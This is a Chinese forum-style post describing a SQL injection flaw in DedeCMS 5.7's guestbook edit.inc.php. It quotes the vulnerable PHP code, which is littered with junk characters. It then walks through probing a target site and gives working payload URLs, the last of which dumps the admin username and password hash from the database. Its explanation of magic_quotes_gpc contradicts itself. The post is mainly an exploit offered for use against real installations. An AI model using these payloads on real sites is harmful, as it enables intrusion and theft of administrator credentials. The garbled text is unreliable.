dedecms5.7最新sql注射漏洞利用 guestbook.php

admin

影响版本为5.7
. Z2 x" A) Z/ _( x. F5 \7 |
* Y' O3 t+ y: z: x漏洞文件edit.inc.php具体代码：
4 G% }4 [6 `( v3 j7 A
< ?php  

if(!defined('DEDEINC')) exit('Request Error!');  
# |5 V2 f' N+ T' K3 }, m
   

: C/ A& i$ O! \* Iif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  

" x+ c" H# K6 D  \& E7 delse $GUEST_BOOK_POS = "guestbook.php";  

* I2 r$ T) Z4 I; Q6 p   
$ R) T+ F) w6 A% x$ w
8 |0 R9 u4 U( Z$id = intval($id);  
8 x' [* C1 N9 Y2 s
if(empty($job)) $job='view';  

. C0 s5 {, K4 x' V   

# U2 X4 Z' F3 S( S& w/ g% @if($job=='del' && $g_isadmin)  

; E. `7 H! U0 G# S{  
; I) U, I8 r# i, ^$ `& J
3 _5 Q: Y  {8 H' {7 ^4 ]) r$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  

# j$ a& V1 ^1 ?8 z0 D; w1 ^* \5 s1 NShowMsg("成功删除一条留言！", $GUEST_BOOK_POS);  
( l* t- o$ Y3 _9 a/ Z
exit();  
# D. P' B0 {* u& Y0 W4 H5 h
}  

else if($job=='check' && $g_isadmin)  
) ^( m) ?0 k, T3 t5 C* }6 S
{  

9 [+ @% ^* @- i! I$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
8 R* q& w& d3 K" e$ |
ShowMsg("成功审核一条留言！", $GUEST_BOOK_POS);  

exit();  

, n# d3 U/ b5 H' ^' T( @}  

! \0 _3 e, N( a/ `9 u# z( f5 qelse if($job=='editok')  
+ ]4 o) v6 t8 c$ t, z
{  

$remsg = trim($remsg);  
& {5 D" R( W0 M
; R! T2 G4 w: R( v' l5 l. Oif($remsg!='')  

1 {6 `; l- y% u3 L5 m{  

2 R; J+ y# H( Q* k//管理员回复不过滤HTML By:Errorera blog:errs.cc  

1 ]' {4 ?8 ?* t$ iif($g_isadmin)  
/ P/ k* E4 a" ~$ o9 h7 t9 ?
; H6 U* j# z4 s{  

$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  

//$remsg <br /><font color=red>管理员回复：</font> }  

else
: N  q/ `/ a* o9 v8 S9 [
' @' S  U. ^0 ]{  
' O' O* \5 P" j$ g3 M( m
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  

$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  

7 Q- I: h) K: g) m1 Z$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
; ]* y1 k0 `) O+ n+ }( }+ O, a
$msg = $oldmsg.$remsg;  

}  

}  
7 X: l/ e& w1 [
//这里没有对$msg过滤，导致可以任意注入了By:Errorera home:www.errs.cc  

' ~* R0 C% U) l; l7 b5 e$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  

ShowMsg("成功更改或回复一条留言！", $GUEST_BOOK_POS);  

exit();  

* e) @+ A: g+ b. @: O% k}  
5 B' V8 f4 k: R
5 k1 K2 p1 b' |4 z$ V$ m6 d//home:www.errs.cc  
: Q+ w8 [1 k% W$ u3 a
* L4 G; v1 ?$ U1 B' t+ r8 Gif($g_isadmin)  
0 V+ A. n0 f" `% m3 U9 p8 K* @
. E( p; r7 w. m. Z{  
* m0 S. {: H4 h* @% {  I
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
3 ~9 S" y( }  }& U+ ^1 S
) c) B7 y9 t+ T& {; B5 \require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
  [/ P6 n3 a- k4 D6 G
7 t. d, B5 R0 J; {}  

else
8 w! p7 Y9 m/ j$ q, [- L' v- v
, N) Q3 n9 u3 K, W{  

* P% v" P( C  _7 q. i2 n$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  

7 o0 A# A2 U, g% r! D5 Y' @require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  

6 V) {2 Q. F/ Y/ {& U" c} 漏洞成功需要条件：
1. php magic_quotes_gpc=off
! C# J" w* w6 ]; a. h- m3 A2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
; a, W' ^! _/ ~5 A0 h6 c
怎么判断是否存在漏洞：
5 n% C3 X2 n- s: g9 V( R1 U5 f% j先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言，
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
访问：

$ @* E) Q' w: p8 p8 |www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
( ]- g8 b' R" I3 w: {, o; M! K跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
, v9 B& [. z+ ~

$ e9 E1 Z" u2 T% n: Q7 \明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
5 M7 Q, r7 {. r* T! r如果没有修改成功，那留言ID的内容还是以前的 那就证明漏洞可以利用。
那么再次访问
8 |  \$ `& \* h5 R% i  Q- |' Z; W
  d6 F0 r* T6 u& X0 ~! Xwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回，那条留言ID的内容就直接修改成了mysql 的user().

大概利用就是这样，大家有兴趣的多研究下！！
- X) c, [& n! t, i
最后补充下，估计有人会说怎么暴管理后台帐户密码，你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)！！
, ?/ f* ?$ H1 p1 S: ^
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='